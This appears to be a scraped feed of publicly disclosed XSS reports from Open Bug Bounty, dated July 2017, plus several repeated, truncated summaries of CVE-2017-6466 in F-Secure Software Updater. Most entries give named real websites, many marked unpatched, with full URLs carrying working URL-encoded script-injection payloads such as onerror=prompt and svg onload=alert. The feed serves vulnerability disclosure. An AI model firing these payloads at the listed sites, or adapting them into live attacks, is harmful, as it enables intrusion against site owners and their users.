punchline.fr XSS vulnerability

Vulnerable URL: http://www.punchline.fr/search/%22%3E%3Cimg+src%3Dx+onerror%3Dprompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 367404 VIP website status:| No...

crazycollegegfs.com XSS vulnerability

Vulnerable URL: http://www.crazycollegegfs.com/landing/5/enter/?theme=default=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27;%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 15:37 GMT Vulnerability type:| XSS Vulnerability status:|...

foot-national.com XSS vulnerability

Vulnerable URL: http://www.foot-national.com/recherche.html?search=%22%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E%26filename%3Devent2%26id%3Ddlsurvey2%26type%3D%22%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for...

in.alhea.com XSS vulnerability

Vulnerable URL:...

newsandviews24.com XSS vulnerability

Vulnerable URL: http://newsandviews24.com/read.php?id=%22/%3E%3CsvG%20onLoad=alert/SQRO0T/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3442927 VIP website status:| No Check...

tgo.or.th XSS vulnerability

Vulnerable URL: http://www.tgo.or.th/2015/thai/searchresult.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1123831 VIP website status:| No Check tgo.or.th SSL connection:| Grad...

st-joseph-lorient.org XSS vulnerability

Vulnerable URL: http://www.st-joseph-lorient.org/recherche Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1095140 VIP website status:| No Check st-joseph-lorient.org SSL connection...

cpacf.org.ar XSS vulnerability

Vulnerable URL: http://www.cpacf.org.ar/resultados.php?criterio=-----------%3E%3E%3C%3C///%3E%3E%3C%3C;%22%3E%3C/script%3E%3Cscript%3Econfirm%22@CIB%22%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

duerrenberger.li XSS vulnerability

Vulnerable URL: http://www.duerrenberger.li/www/web/seite1.asp?typ=group=Beispiele=0KNOXSS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

omni-presents.fr XSS vulnerability

Vulnerable URL: http://www.omni-presents.fr/categories.asp?CatPdtIdx==KNOXSS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

components.alldatasheetru.com XSS vulnerability

Vulnerable URL: http://components.alldatasheetru.com/html.jsp?index=Dlol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

category.alldatasheet.pl XSS vulnerability

Vulnerable URL: http://category.alldatasheet.pl/index.jsp?sSearchword=DSAF3lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

category.alldatasheet.fr XSS vulnerability

Vulnerable URL: http://category.alldatasheet.fr/index.jsp?sSearchword=QWERQWER3lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

category.alldatasheet.co.kr XSS vulnerability

Vulnerable URL: http://category.alldatasheet.co.kr/index.jsp?sSearchword=VAVASD3lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

category.alldatasheetcn.com XSS vulnerability

Vulnerable URL: http://category.alldatasheetcn.com/index.jsp?sSearchword=QWEQW123lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

category.alldatasheet.com XSS vulnerability

Vulnerable URL: http://category.alldatasheet.com/index.jsp?sSearchword=QWER123lol”–!” Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| N...

Input validation

F-Secure Software Updater 2.20, as distributed in several F-Secure products, downloads installation packages over plain http and does not perform file integrity validation after download. Man-in-the-middle attackers can replace the file with their own executable which will be executed under the...

CVE-2017-6466

F-Secure Software Updater 2.20, as distributed in several F-Secure products, downloads installation packages over plain http and does not perform file integrity validation after download. Man-in-the-middle attackers can replace the file with their own executable which will be executed under the...

CVE-2017-6466

F-Secure Software Updater 2.20, as distributed in several F-Secure products, downloads installation packages over plain http and does not perform file integrity validation after download. Man-in-the-middle attackers can replace the file with their own executable which will be executed under the...

CVE-2017-6466

CVE-2017-6466 affects F-Secure Software Updater 2.20 (as distributed in several F-Secure products). The issue: updates are downloaded over plain HTTP and lack post-download integrity validation, enabling MITM attackers to replace the downloaded file; the executable could run under the SYSTEM acco...